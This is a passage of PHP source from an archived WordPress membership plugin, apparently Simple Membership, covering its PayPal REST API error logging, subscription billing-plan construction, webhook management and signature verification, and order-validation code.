$this->last_error['error_code'] = $body['error'];//String error code (ex: "invalid_client") $this->last_error['http_code'] = $res['response']['code'];//HTTP error code (ex: 400) } } else { //Empty body response. $this->last_error['error_message'] = 'Error! The body of the response is empty. Check that the expected response status code is correct.'; } //Log this error so the debug option can reveal the details. $this->log_api_error_response( $res, $this->last_error['error_message'], $additional_args ); return false; } $response_body_json_decoded = json_decode( $res['body'] ); //=== Debug purposes (Useful for PayPal Tech Support) === // SwpmLog::log_simple_debug( '----- PayPal REST API response output -----', true ); // $paypal_debug_id_and_info = SWPM_PayPal_Request_API::get_paypal_debug_id_and_info($res, $additional_args); // SwpmLog::log_simple_debug( $paypal_debug_id_and_info, true ); // SwpmLog::log_array_data_to_debug( $response_body_json_decoded, true ); //=== End of debug purposes === return $response_body_json_decoded; } public function log_api_error_response( $response, $error_message, $additional_args = array() ) { //Log the error message. SwpmLog::log_simple_debug( 'Error occurred with the PayPal API request. Error message: ' . $error_message, false ); //Log the PayPal debug id for PayPal API Error. $paypal_debug_id_and_info = SWPM_PayPal_Request_API::get_paypal_debug_id_and_info($response, $additional_args); SwpmLog::log_simple_debug( $paypal_debug_id_and_info, false ); } /* * Returns the PayPal debug ID and info from the API response. */ public static function get_paypal_debug_id_and_info($response, $additional_args = array()) { $paypal_debug_id = wp_remote_retrieve_header( $response, 'paypal-debug-id' ); $paypal_debug_id_and_info = 'PayPal Debug ID: ' . $paypal_debug_id; if (isset($additional_args['request_url'])){ $paypal_debug_id_and_info .= ', Request URL: ' . $additional_args['request_url']; } return $paypal_debug_id_and_info; } private function format_app_info_to_string( $app_info ) { if (null !== $app_info) { $string = $app_info['name']; if (null !== $app_info['url']) { $string .= ' (' . $app_info['url'] . ')'; } return $string; } return ""; } /** * Performs a direct request to the PayPal API using URL and arguments. */ public static function send_request_by_url_and_args( $url, $args ) { $args['timeout'] = 30; $args = apply_filters( 'swpm_paypal_api_request_by_url_args', $args, $url ); if ( ! isset( $args['headers']['PayPal-Partner-Attribution-Id'] ) ) { $args['headers']['PayPal-Partner-Attribution-Id'] = 'TipsandTricks_SP_PPCP'; } //=== Debug purposes (Useful for PayPal Tech Support) === // SwpmLog::log_simple_debug( '----- PayPal API request header -----', true ); // SwpmLog::log_array_data_to_debug( $args, true ); //=== End of debug purposes === $response = wp_remote_get( $url, $args ); if ( is_wp_error($response) ) { // Error occurred with the API request. Lets log the error. $error_message = $response->get_error_message(); SwpmLog::log_simple_debug( 'Error occurred with the PayPal API (by URL) request. Error message: ' . $error_message, false ); // Log the PayPal debug id for PayPal API Error. $paypal_debug_id = wp_remote_retrieve_header( $response, 'paypal-debug-id' ); SwpmLog::log_simple_debug( 'PayPal Debug ID: ' . $paypal_debug_id . ', Request URL: ' . $url , false ); return false; } //PayPal Debug ID $paypal_debug_id = wp_remote_retrieve_header( $response, 'paypal-debug-id' ); SwpmLog::log_simple_debug( 'PayPal Debug ID from the REST API (by URL) request. Debug ID: ' . $paypal_debug_id . ', Request URL: ' . $url, true ); //=== Debug purposes (Useful for PayPal Tech Support) === // $response_body = wp_remote_retrieve_body( $response ); // $response_body_json_decoded = json_decode( $response_body ); // SwpmLog::log_array_data_to_debug( $response_body_json_decoded, true ); //-- Debug the full response (header and body) -- //$response_full_var_exported = var_export( $response, true ); //SwpmLog::log_simple_debug( 'PayPal API (by URL) response body: ' . $debug_api_response, true ); //=== End of debug purposes === return $response; } }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypal/class-swpm-paypal-subsc-billing-plan.php�����������������������������������������������������0000644�����������������00000011241�14720677707�0015623 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class SWPM_PayPal_Subsc_Billing_Plan { public function __construct() { } /* * Takes all the arguments and creates the params array that can be used in the create billing plan API request. */ public function construct_create_billing_plan_api_params( $plan_args ) { /* //Example $args values $args = array( 'plan_name' => 'Billing plan for <product name>', 'paypal_product_id' => PP-XYZ1234, //Created by the create_paypal_product_for_plan() 'billing_cycles' => $billing_cycles, //Created by the construct_billing_cycles_param() 'sub_recur_reattemp' => 1, ); */ $plan_req_params = array( 'name' => $plan_args['plan_name'], 'product_id' => $plan_args['paypal_product_id'], 'billing_cycles' => $plan_args['billing_cycles'], 'payment_preferences' => array( 'auto_bill_outstanding' => true, 'setup_fee_failure_action' => 'CANCEL', 'payment_failure_threshold' => $plan_args['sub_recur_reattemp'] ? 3 : 0, ), 'quantity_supported' => true, ); return $plan_req_params; } /* * Takes all the subscription arguments and creates the billing_cycles param to be used in the API request. */ public function construct_billing_cycles_param( $subsc_args ) { /* //Example $subsc_args values $subsc_args = array( 'currency' => 'USD', 'sub_trial_period' => 7, 'sub_trial_period_type' => 'D', 'sub_trial_price' => 5.00, 'sub_recur_period' => 1, 'sub_recur_period_type' => 'M', 'sub_recur_price' => 19.95, 'sub_recur_count' => 0, 'sub_recur_reattemp' => 3, ); */ //Setup default billing cycles, it will be overridden at the time of the subscription checkout/request. $billing_cycles = array(); if (!empty($subsc_args['sub_trial_period'])) { $trial_period = array( 'tenure_type' => 'TRIAL', 'frequency' => $this->get_period_type($subsc_args['sub_trial_period_type'], $subsc_args['sub_trial_period']), 'sequence' => 1, 'total_cycles' => 1, ); if (!empty($subsc_args['sub_trial_price'])) { $trial_period['pricing_scheme'] = array( 'fixed_price' => array( 'value' => $subsc_args['sub_trial_price'], 'currency_code' => $subsc_args['currency'], ), ); } $billing_cycles[] = json_decode(wp_json_encode($trial_period), false); } $regular_period = array( 'tenure_type' => 'REGULAR', 'frequency' => $this->get_period_type($subsc_args['sub_recur_period_type'], $subsc_args['sub_recur_period']), 'sequence' => count($billing_cycles) + 1, 'total_cycles' => absint($subsc_args['sub_recur_count']), 'pricing_scheme' => array( 'fixed_price' => array( 'value' => $subsc_args['sub_recur_price'], 'currency_code' => $subsc_args['currency'], ), ), ); $billing_cycles[] = json_decode(wp_json_encode($regular_period), false); return $billing_cycles; } /** * Retrieves the subscription period type and interval for using in PayPal * request. * * @param string $type The period type. * @param in $count The period interval. * * @return array */ private function get_period_type($type, $count) { switch ($type) { case 'W': $period = array( 'interval_unit' => 'WEEK', 'interval_count' => min(52, absint($count)), ); break; case 'M': $period = array( 'interval_unit' => 'MONTH', 'interval_count' => min(12, absint($count)), ); break; case 'Y': $period = array( 'interval_unit' => 'YEAR', 'interval_count' => min(1, absint($count)), ); break; default: $period = array( 'interval_unit' => 'DAY', 'interval_count' => min(365, absint($count)), ); break; } return $period; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypal/class-swpm-paypal-webhook.php����������������������������������������������������������������0000644�����������������00000044402�14720677707�0013601 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * A Webhook class. Represents a webhook object with parameters in a given mode. */ class SWPM_PayPal_Webhook { /** * The webhook API resourse ID. */ protected $id; /** * The webhook mode. */ protected $mode; //The paypal request API object (for sending POST and GET requests to PayPal API endpoints) protected $paypal_req_api; protected $live_client_id; protected $live_secret; protected $sandbox_client_id; protected $sandbox_secret; /** * Creates a webhook for given mode. * * @param string $mode The transaction mode (`production` or `sandbox`). */ public function __construct() { //Setup the PayPal API request object so that we can use it to make pre-made API requests easily. $settings = SwpmSettings::get_instance(); $this->live_client_id = $settings->get_value('paypal-live-client-id'); $this->live_secret = $settings->get_value('paypal-live-secret-key'); $this->sandbox_client_id = $settings->get_value('paypal-sandbox-client-id'); $this->sandbox_secret = $settings->get_value('paypal-sandbox-secret-key'); $sandbox_enabled = $settings->get_value('enable-sandbox-testing'); $paypal_mode = $sandbox_enabled ? 'sandbox' : 'production'; $paypal_req_api = SWPM_PayPal_Request_API::get_instance(); $paypal_req_api->set_mode_and_api_credentials( $paypal_mode, $this->live_client_id, $this->live_secret, $this->sandbox_client_id, $this->sandbox_secret ); $this->paypal_req_api = $paypal_req_api; $this->mode = $paypal_req_api->get_api_environment_mode(); $this->id = get_option( 'swpm_paypal_webhook_id_' . $this->mode ); } /** * Sets the webhook mode. Used to override/set the mode (if needed) after the object is created. */ public function set_mode_and_api_creds_for_webhook( $mode, $client_id, $secret ) { //Set the environment mode. $this->mode = $mode; //The mode has been overridden. Need to update the webhook ID as well. $this->id = get_option( 'swpm_paypal_webhook_id_' . $this->mode ); //Update the PayPal API request object with the new mode and credentials. $paypal_req_api = SWPM_PayPal_Request_API::get_instance(); $this->paypal_req_api = $paypal_req_api; $this->paypal_req_api->set_api_environment_mode( $this->mode ); $this->paypal_req_api->set_api_credentials( $client_id, $secret ); } public function set_mode_and_api_creds_based_on_mode( $mode ) { if( $mode == 'sandbox' ){ $client_id = $this->sandbox_client_id; $secret = $this->sandbox_secret; } else { $client_id = $this->live_client_id; $secret = $this->live_secret; } $this->set_mode_and_api_creds_for_webhook( $mode, $client_id, $secret ); } /** * Retrieves the webhook id * * @return string */ public function get_id() { return $this->id; } /** * Saves webhook ID in settings. * * @param string $id The Woebhook PayPal ID. */ public function set_id( $id ) { update_option( 'swpm_paypal_webhook_id_' . $this->mode, $id ); } /** * Retrieves the webhook listener URL * * @return string */ public function get_url() { //Example Webhook URL - https://www.example.com/?action=swpm_paypal_webhook_event&mode=production $webhook_url = add_query_arg( array( 'action' => 'swpm_paypal_webhook_event', 'mode' => $this->mode, ), get_home_url( null, '/', 'https' ) ); return $webhook_url; } /** * Retrieves the Webhook details via PayPal API * It will retrieve the webhook based on the mode and credentials set in the $this->paypal_req_api object. */ public function get() { if ( ! $this->get_id() ) { //No webhook ID exists. Need to create new. return new WP_Error( 'INVALID_RESOURCE_ID' ); } $params = array(); $endpoint = '/v1/notifications/webhooks/'.$this->get_id(); //$additional_args = array( 'return_raw_response' => '1', 'status_code' => '200' ); $response = $this->paypal_req_api->get($endpoint, $params ); if( $response !== false){ //Response is a success! //Array of https://developer.paypal.com/docs/api/webhooks/v1/#definition-event_type //$webhook_event_types = $response; return $response; } else { //Error response. Convert to WP_Error object so it can be handled easily by the caller //SWPM_PayPal_Request_API->last_error array will have the detailed error message $last_error = $this->paypal_req_api->get_last_error(); $response = new WP_Error(); if( isset( $last_error['error_code'] ) && isset( $last_error['error_message'])){ $response->add( $last_error['error_code'], $last_error['error_message'] ); } else { $response->add( 'UNKNOWN_ERROR', 'Unknown error occurred while retrieving the webhook details.' ); } return $response; } } /** * Creates the Webhook for subscription payment events via PayPal API * It will create the webhook based on the mode and credentials set in the $this->paypal_req_api object. */ public function create() { //Get the list of event types to be included in the webhook $types = self::get_event_types(); foreach ( $types as &$type ) { $type = array( 'name' => $type ); } //Create the params array with the webhook details $params = array( 'url' => $this->get_url(), 'event_types' => $types, ); $endpoint = '/v1/notifications/webhooks'; $response = $this->paypal_req_api->post($endpoint, $params); if ( $response !== false){ //Response is a success! $created_webhook_id = $response->id; $this->set_id( $created_webhook_id ); return $response; } else { //Error response. Convert to WP_Error object so it can be handled easily by the caller //SWPM_PayPal_Request_API->last_error array will have the detailed error message $last_error = $this->paypal_req_api->get_last_error(); $response = new WP_Error(); if( isset( $last_error['error_code'] ) && isset( $last_error['error_message'])){ $response->add( $last_error['error_code'], $last_error['error_message'] ); } else { $response->add( 'UNKNOWN_ERROR', 'Unknown error occurred while creating the webhook.' ); } return $response; } } /** * Deletes the Webhook via PayPal API * It will delete the webhook based on the mode and credentials set in the $this->paypal_req_api object. */ public function delete() { $params = array(); $additional_args = array(); $endpoint = '/v1/notifications/webhooks/'.$this->get_id(); $response = $this->paypal_req_api->delete($endpoint, $params, $additional_args); if ( $response !== false){ //Response is a success! delete_option( 'swpm_paypal_webhook_id_' . $this->mode ); return $response; } else { //Error response. Convert to WP_Error object so it can be handled easily by the caller //SWPM_PayPal_Request_API->last_error array will have the detailed error message $last_error = $this->paypal_req_api->get_last_error(); $response = new WP_Error(); if( isset( $last_error['error_code'] ) && isset( $last_error['error_message'])){ $response->add( $last_error['error_code'], $last_error['error_message'] ); } else { $response->add( 'UNKNOWN_ERROR', 'Unknown error occurred while deleting the webhook.' ); } return $response; } } /** * Verifies webhook event via PayPal API. * * @see https://developer.paypal.com/docs/api-basics/notifications/webhooks/notification-messages/ * * @param array $event The event data received from PayPal API. * @param array $headers The request headers received from PayPal API. */ public function verify_webhook_signature( $event, $headers ) { $headers = array_intersect_key( $headers, array( 'PAYPAL-TRANSMISSION-ID' => '', 'PAYPAL-TRANSMISSION-TIME' => '', 'PAYPAL-CERT-URL' => '', 'PAYPAL-AUTH-ALGO' => '', 'PAYPAL-TRANSMISSION-SIG' => '', ) ); if ( 5 > count( $headers ) ) { return new WP_Error( 'invalid_headers', '', array( 'msg' => 'Invalid headers', 'data' => $headers, ) ); } $params = array( 'transmission_id' => $headers['PAYPAL-TRANSMISSION-ID'], 'transmission_time' => $headers['PAYPAL-TRANSMISSION-TIME'], 'cert_url' => $headers['PAYPAL-CERT-URL'], 'auth_algo' => $headers['PAYPAL-AUTH-ALGO'], 'transmission_sig' => $headers['PAYPAL-TRANSMISSION-SIG'], 'webhook_id' => $this->get_id(), 'webhook_event' => $event, ); //https://developer.paypal.com/docs/api/webhooks/v1/#verify-webhook-signature_post $endpoint = '/v1/notifications/verify-webhook-signature'; //A successful Verify POST should return 200 status code. $additional_args = array(); //$additional_args['return_raw_response'] = true;//Return the raw response instead of the parsed JSON response. $additional_args['status_code'] = 200; $response = $this->paypal_req_api->post($endpoint, $params, $additional_args); if ( $response !== false){ //Response is a success! {"verification_status": "SUCCESS"} return $response; } else { //SWPM_PayPal_Request_API->last_error array will have the detailed error message return false; } } /** * Returns a list of events to listen to. * * @return array */ public static function get_event_types() { return array( 'PAYMENT.SALE.COMPLETED', // A payment is made on a subscription. 'PAYMENT.SALE.REFUNDED', // A merchant refunds a sale. 'PAYMENT.SALE.REVERSED', // A payment is reversed on a subscription. 'PAYMENT.CAPTURE.REFUNDED', // A merchant refunds a payment capture. 'PAYMENT.CAPTURE.REVERSED', // A payment capture is reversed. 'BILLING.SUBSCRIPTION.CREATED', // A subscription is created. 'BILLING.SUBSCRIPTION.ACTIVATED', // A subscription is activated. 'BILLING.SUBSCRIPTION.UPDATED', // A subscription is updated. 'BILLING.SUBSCRIPTION.EXPIRED', // A subscription expires. 'BILLING.SUBSCRIPTION.CANCELLED', // A subscription is cancelled. 'BILLING.SUBSCRIPTION.SUSPENDED', // A subscription is suspended. 'BILLING.SUBSCRIPTION.PAYMENT.FAILED', // Payment failed on subscription. ); } /** * Checks whether webhooks are created for a current site. * It will check the webhook based on the mode and credentials set in the $this->paypal_req_api object. * * @return array */ public function check_webhook() { $response = $this->get(); if( is_wp_error( $response ) ){ //Error response $ret = array( 'status' => 'no', /* Webhook does not exist */ 'hidebtn' => false, ); $error_code = $response->get_error_code(); if ( $error_code === 'INVALID_RESOURCE_ID' ) { $ret['msg'] = __( 'No webhook found. Use the following Create Webhook button to create a new webhook automatically in your PayPal account.', 'simple-membership' ); //No webhook exists in PayPal. Delete the webhook ID (if any) from our DB to clean it up (so it can be created again). delete_option( 'swpm_paypal_webhook_id_' . $this->mode ); } elseif ( $error_code === 'UNAUTHORIZED' ) { $ret['msg'] = $response->get_error_message() . '. ' . sprintf( __( 'PayPal API Credential information is missing in settings. Please enter valid PayPal API Credentials in the General Settings tab for %s mode.', 'simple-membership' ), $this->mode ); } elseif ( $error_code === 'invalid_client' ) { $ret['msg'] = sprintf( __( 'Invalid or Missing API Credentials! Check the plugin settings and enter valid API credentials in the PayPal Credentials section for %s mode.', 'simple-membership' ), $this->mode ); } else { $ret['msg'] = $response->get_error_message(); } return $ret; } //Successfull response $ret = array(); $ret['status'] = 'yes'; //Webhook exists. $ret['msg'] = __( 'Webhook exists. If you still have issues with webhooks, you can delete it and create again.', 'simple-membership' ); $ret['hidebtn'] = true; return $ret; } /** * Checks and creates a webhook for the site. * It will check and create the webhook based on the mode and credentials set in the $this->paypal_req_api object. * * @return array */ public function check_and_create_webhook(){ //First check if webhook already exists for the mode and account set in $this->paypal_req_api object. $ret = $this->check_webhook(); if ( $ret['status'] == 'yes' ) { //Webhook already exists. No need to create a new one. return $ret; } // Webhook does not exist. Create a new one. // Check if webhook URL is using HTTPS. $ret = array(); $webhook_url = $this->get_url(); $protocol = wp_parse_url( $webhook_url, PHP_URL_SCHEME ); if ( $protocol !== 'https' ) { $ret['status'] = 'no'; $ret['msg'] = __( 'Invalid webhook URL.', 'simple-membership' ) . ': ' . __( 'Note that the PayPal subscription API requires your site to use HTTPS URLs. You must use an SSL certificate with HTTPS URLs to complete the setup of the subscription addon and use it.', 'simple-membership' ); return $ret; } $response = $this->create(); if ( ! is_wp_error( $response ) ) { // webhook created. $ret['status'] = 'yes'; $ret['hidebtn'] = true; $ret['msg'] = __( 'Webhook has been created.', 'simple-membership' ); } else { // Error occurred during webhook creation. $ret['status'] = 'no'; $ret['msg'] = $response->get_error_message() . ': ' . json_encode( $response->get_error_data() ); } return $ret; } /** * Check and delete the webhook for the site. * It will check and delete the webhook based on the mode and credentials set in the $this->paypal_req_api object. * * @return array */ public function check_and_delete_webhook() { //First check if webhook exists for the mode and account set in $this->paypal_req_api object. $ret = $this->check_webhook(); if ( $ret['status'] == 'yes' ) { //Webhook exists. Try to delete it. $response = $this->delete(); if ( !is_wp_error( $response )){ //Webhook deleted. $ret['success'] = true; $ret['msg'] = __( 'Webhook has been deleted.', 'simple-membership' ); return $ret; } else { //Error occurred during webhook deletion. $ret['success'] = false; $ret['msg'] = $response->get_error_message() . ': ' . json_encode( $response->get_error_data() ); return $ret; } } // Webhook does not exist. Nothing to delete. $ret = array(); $ret['success'] = false; $ret['msg'] = __( 'No webhook found. Nothing to delete.', 'simple-membership' ); //No webhook exists in PayPal. Delete the webhook ID (if any) from our DB to clean it up (so it can be created again). delete_option( 'swpm_paypal_webhook_id_' . $this->mode ); return $ret; } public function check_and_create_webhook_for_live_mode(){ if( !empty($this->live_client_id) && !empty($this->live_secret) ){ $this->set_mode_and_api_creds_for_webhook( 'production', $this->live_client_id, $this->live_secret ); $ret = $this->check_and_create_webhook(); return $ret; } else { //Live mode credentials are not set. We will show a notice to the admin using admin_notice hook. SwpmLog::log_simple_debug( 'Live mode API credentials are not set.', true ); $ret = array(); $ret['success'] = false; $ret['msg'] = __( 'Live mode credentials are not set. Cannot create webhook.', 'simple-membership' ); return $ret; } } public function check_and_create_webhook_for_sandbox_mode(){ if( !empty($this->sandbox_client_id) && !empty($this->sandbox_secret) ){ $this->set_mode_and_api_creds_for_webhook( 'sandbox', $this->sandbox_client_id, $this->sandbox_secret ); $ret = $this->check_and_create_webhook(); return $ret; } else { //Sandbox mode credentials are not set. We will show a notice to the admin using admin_notice hook. SwpmLog::log_simple_debug( 'Sandbox mode API credentials are not set.', true ); $ret = array(); $ret['success'] = false; $ret['msg'] = __( 'Sandbox mode credentials are not set. Cannot create webhook.', 'simple-membership' ); return $ret; } } /** * Check and create webhooks for both modes (live and sandbox). * This function is specfic to the plugin in question and how it plans to create the webhooks. */ public function check_and_create_webhooks_for_both_modes() { $action_result_msg = ""; //First, handle the live/production mode webhook. $ret = $this->check_and_create_webhook_for_live_mode(); if( isset( $ret['status']) && $ret['status'] == 'no' ){ //Webhook creation failed. SwpmLog::log_simple_debug( 'Webhook creation failed for live mode. Error: ' . $ret['msg'], true ); } $action_result_msg .= '<p>Live mode webhook create action result: ' . $ret['msg'] . '</p>'; //Next, handle the sandbox mode webhook. $ret = $this->check_and_create_webhook_for_sandbox_mode(); if( isset( $ret['status']) && $ret['status'] == 'no' ){ //Webhook creation failed. SwpmLog::log_simple_debug( 'Webhook creation failed for sandbox mode. Error: ' . $ret['msg'], true ); } $action_result_msg .= '<p>Sandbox mode webhook create action result: ' . $ret['msg'] . '</p>'; return $action_result_msg; } /** * Check and create webhooks for both modes (live and sandbox). * This function is specfic to the plugin in question and how it plans to create the webhooks. */ public function check_and_delete_webhooks_for_both_modes() { $delete_result = ""; //First, handle the live/production mode webhook. if( !empty($this->live_client_id) && !empty($this->live_secret) ){ $this->set_mode_and_api_creds_for_webhook( 'production', $this->live_client_id, $this->live_secret ); $ret = $this->check_and_delete_webhook(); if( isset( $ret['msg']) ){ //Webhook delete action result. $delete_result .= '<p><strong>Delete Live Webhook: </strong>' . $ret['msg'] . '</p>'; SwpmLog::log_simple_debug( 'Live Webhook delete action result: ' . $ret['msg'], true ); } } else { //Live mode credentials are not set. We will show a notice to the admin using admin_notice hook. } //Next, handle the sandbox mode webhook. if( !empty($this->sandbox_client_id) && !empty($this->sandbox_secret) ){ $this->set_mode_and_api_creds_for_webhook( 'sandbox', $this->sandbox_client_id, $this->sandbox_secret ); $ret = $this->check_and_delete_webhook(); if( isset( $ret['msg']) ){ //Webhook delete action result. $delete_result .= '<p><strong>Delete Sandbox Webhook: </strong>' . $ret['msg'] . '</p>'; SwpmLog::log_simple_debug( 'Sandbox Webhook delete action result: ' . $ret['msg'], true ); } } else { //Sandbox mode credentials are not set. We will show a notice to the admin using admin_notice hook. } return $delete_result; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypal/class-swpm-paypal-utility-ipn-related.php����������������������������������������������������0000644�����������������00000027014�14720677707�0016050 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class SWPM_PayPal_Utility_IPN_Related { public static function create_ipn_data_array_from_capture_order_txn_data( $data, $txn_data ) { $ipn_data = array(); //Get the custom field value from the request $custom = isset($data['custom_field']) ? $data['custom_field'] : ''; $custom = urldecode( $custom );//Decode it just in case it was encoded. //Add the PayPal API order_id value to the reference parameter. So it gets saved with custom field data. This will be used to also save it to the reference DB column field when saving the transaction. if(isset($data['order_id'])){ $data['custom_field'] = $custom . '&reference=' . $data['order_id']; } else if(isset($data['orderID'])){ $data['custom_field'] = $custom . '&reference=' . $data['orderID']; } //Parse the custom field to read the IP address. $customvariables = SwpmTransactions::parse_custom_var( $custom ); $purchase_units = isset($txn_data['purchase_units']) ? $txn_data['purchase_units'] : array(); //The $data['orderID'] is the ID for the order created using createOrder API call. The Transaction ID is the ID for the captured payment. $txn_id = isset($txn_data['purchase_units'][0]['payments']['captures'][0]['id']) ? $txn_data['purchase_units'][0]['payments']['captures'][0]['id'] : ''; $address_street = isset($txn_data['purchase_units'][0]['shipping']['address']['address_line_1']) ? $txn_data['purchase_units'][0]['shipping']['address']['address_line_1'] : ''; if ( isset ( $txn_data['purchase_units'][0]['shipping']['address']['address_line_2'] )){ //If address line 2 is present, add it to the address. $address_street .= ", " . $txn_data['purchase_units'][0]['shipping']['address']['address_line_2']; } $ipn_data['gateway'] = 'paypal_buy_now_checkout'; $ipn_data['txn_type'] = 'pp_buy_now_new'; $ipn_data['custom'] = isset($data['custom_field']) ? $data['custom_field'] : ''; $ipn_data['txn_id'] = $txn_id; $ipn_data['subscr_id'] = $txn_id;//Same as txn_id for one-time payments. //This will save the button ID in the swpm_transactions CPT (for a reference to the button used for the payment) $ipn_data['payment_button_id'] = isset($data['button_id']) ? $data['button_id'] : ''; $ipn_data['item_number'] = isset($data['button_id']) ? $data['button_id'] : ''; $ipn_data['item_name'] = isset($data['item_name']) ? $data['item_name'] : ''; $ipn_data['status'] = isset($txn_data['status']) ? ucfirst( strtolower($txn_data['status']) ) : ''; $ipn_data['payment_status'] = isset($txn_data['status']) ? ucfirst( strtolower($txn_data['status']) ) : ''; //Amount if ( isset($txn_data['purchase_units'][0]['payments']['captures'][0]['amount']['value']) ){ //This is for PayPal checkout serverside capture. $ipn_data['mc_gross'] = $txn_data['purchase_units'][0]['payments']['captures'][0]['amount']['value']; } else if ( isset($txn_data['purchase_units'][0]['amount']['value']) ){ //This is for PayPal Checkout client-side capture (deprecated) $ipn_data['mc_gross'] = $txn_data['purchase_units'][0]['amount']['value']; } else { $ipn_data['mc_gross'] = 0; } //Currency if ( isset($txn_data['purchase_units'][0]['payments']['captures'][0]['amount']['currency_code']) ){ //This is for PayPal checkout serverside capture. $ipn_data['mc_currency'] = $txn_data['purchase_units'][0]['payments']['captures'][0]['amount']['currency_code']; } else if ( isset( $txn_data['purchase_units'][0]['amount']['currency_code']) ){ //This is for PayPal Checkout client-side capture (deprecated) $ipn_data['mc_currency'] = $txn_data['purchase_units'][0]['amount']['currency_code']; } else { $ipn_data['mc_currency'] = 0; } //Default to 1 for quantity. $ipn_data['quantity'] = 1; // customer info. $ipn_data['ip'] = isset($customvariables['user_ip']) ? $customvariables['user_ip'] : ''; $ipn_data['first_name'] = isset($txn_data['payer']['name']['given_name']) ? $txn_data['payer']['name']['given_name'] : ''; $ipn_data['last_name'] = isset($txn_data['payer']['name']['surname']) ? $txn_data['payer']['name']['surname'] : ''; $ipn_data['payer_email'] = isset($txn_data['payer']['email_address']) ? $txn_data['payer']['email_address'] : ''; $ipn_data['payer_id'] = isset($txn_data['payer']['payer_id']) ? $txn_data['payer']['payer_id'] : ''; $ipn_data['address_street'] = $address_street; $ipn_data['address_city'] = isset($txn_data['purchase_units'][0]['shipping']['address']['admin_area_2']) ? $txn_data['purchase_units'][0]['shipping']['address']['admin_area_2'] : ''; $ipn_data['address_state'] = isset($txn_data['purchase_units'][0]['shipping']['address']['admin_area_1']) ? $txn_data['purchase_units'][0]['shipping']['address']['admin_area_1'] : ''; $ipn_data['address_zip'] = isset($txn_data['purchase_units'][0]['shipping']['address']['postal_code']) ? $txn_data['purchase_units'][0]['shipping']['address']['postal_code'] : ''; $country_code = isset($txn_data['purchase_units'][0]['shipping']['address']['country_code']) ? $txn_data['purchase_units'][0]['shipping']['address']['country_code'] : ''; $ipn_data['address_country'] = SwpmMiscUtils::get_country_name_by_country_code($country_code); //Additional variables //$ipn_data['reason_code'] = $txn_data['reason_code']; return $ipn_data; } /** * Validate that the transaction/order exists in PayPal and the price matches the price in the DB. */ public static function validate_buy_now_checkout_txn_data( $data, $txn_data ) { //Get the transaction/order details from PayPal API endpoint - /v2/checkout/orders/{$order_id} $pp_orderID = isset($data['order_id']) ? $data['order_id'] : $data['orderID'];//backward compatibility. $button_id = $data['button_id']; $validation_error_msg = ''; //This is for on-site checkout only. So the 'mode' and API creds will be whatever is currently set in the settings. $api_injector = new SWPM_PayPal_Request_API_Injector(); $order_details = $api_injector->get_paypal_order_details( $pp_orderID ); if( $order_details !== false ){ //The order details were retrieved successfully. if(is_object($order_details)){ //Convert the object to an array. $order_details = json_decode(json_encode($order_details), true); } // Debug purpose only. // SwpmLog::log_simple_debug( 'PayPal Order Details: ', true ); // SwpmLog::log_array_data_to_debug( $order_details, true ); // Check that the order's capture status is COMPLETED. $status = ''; // Check if the necessary keys and arrays exist and are not empty if (!empty($order_details['purchase_units']) && !empty($order_details['purchase_units'][0]['payments']) && !empty($order_details['purchase_units'][0]['payments']['captures'])) { // Access the first item in the 'captures' array $capture = $order_details['purchase_units'][0]['payments']['captures'][0]; $capture_id = isset($capture['id']) ? $capture['id'] : ''; // Check if 'status' is set for the capture if (isset($capture['status'])) { // Extract the 'status' value $status = $capture['status']; } } if ( strtolower($status) != strtolower('COMPLETED') ) { //The order is not completed yet. $validation_error_msg = 'Validation Error! The transaction status is not completed yet. Button ID: ' . $button_id . ', PayPal Capture ID: ' . $capture_id . ', Capture Status: ' . $status; SwpmLog::log_simple_debug( $validation_error_msg, false ); return $validation_error_msg; } //Check that the amount matches with what we expect. $amount = isset($order_details['purchase_units'][0]['amount']['value']) ? $order_details['purchase_units'][0]['amount']['value'] : 0; $payment_amount_expected = get_post_meta( $button_id, 'payment_amount', true ); if( floatval($amount) < floatval($payment_amount_expected) ){ //The amount does not match. $validation_error_msg = 'Validation Error! The payment amount does not match. Button ID: ' . $button_id . ', PayPal Order ID: ' . $pp_orderID . ', Amount Received: ' . $amount . ', Amount Expected: ' . $payment_amount_expected; SwpmLog::log_simple_debug( $validation_error_msg, false ); return $validation_error_msg; } //Check that the currency matches with what we expect. $currency = isset($order_details['purchase_units'][0]['amount']['currency_code']) ? $order_details['purchase_units'][0]['amount']['currency_code'] : ''; $currency_expected = get_post_meta( $button_id, 'payment_currency', true ); if( $currency != $currency_expected ){ //The currency does not match. $validation_error_msg = 'Validation Error! The payment currency does not match. Button ID: ' . $button_id . ', PayPal Order ID: ' . $pp_orderID . ', Currency Received: ' . $currency . ', Currency Expected: ' . $currency_expected; SwpmLog::log_simple_debug( $validation_error_msg, false ); return $validation_error_msg; } } else { //Error getting subscription details. $validation_error_msg = 'Validation Error! Failed to get transaction/order details from the PayPal API. PayPal Order ID: ' . $pp_orderID; //TODO - Show additional error details if available. SwpmLog::log_simple_debug( $validation_error_msg, false ); return $validation_error_msg; } //All good. The data is valid. return true; } public static function create_membership_and_save_txn_data( $data, $txn_data, $ipn_data){ //Check if this is a duplicate notification. if( SWPM_PayPal_Utility_IPN_Related::is_txn_already_processed($ipn_data)){ //This transaction notification has already been processed. So we don't need to process it again. return true; } $button_id = $data['button_id']; $txn_id = isset($ipn_data['txn_id']) ? $ipn_data['txn_id'] : ''; $txn_type = isset($ipn_data['txn_type']) ? $ipn_data['txn_type'] : ''; SwpmLog::log_simple_debug( 'Transaction type: ' . $txn_type . ', Transaction ID: ' . $txn_id, true ); // Custom variables $custom = isset($ipn_data['custom']) ? $ipn_data['custom'] : ''; $customvariables = SwpmTransactions::parse_custom_var( $custom ); // Membership level ID. $membership_level_id = get_post_meta($button_id, 'membership_level_id', true); SwpmLog::log_simple_debug( 'Membership payment paid for membership level ID: ' . $membership_level_id, true ); if ( ! empty( $membership_level_id ) ) { $swpm_id = ''; if ( isset( $customvariables['swpm_id'] ) ) { $swpm_id = $customvariables['swpm_id']; } 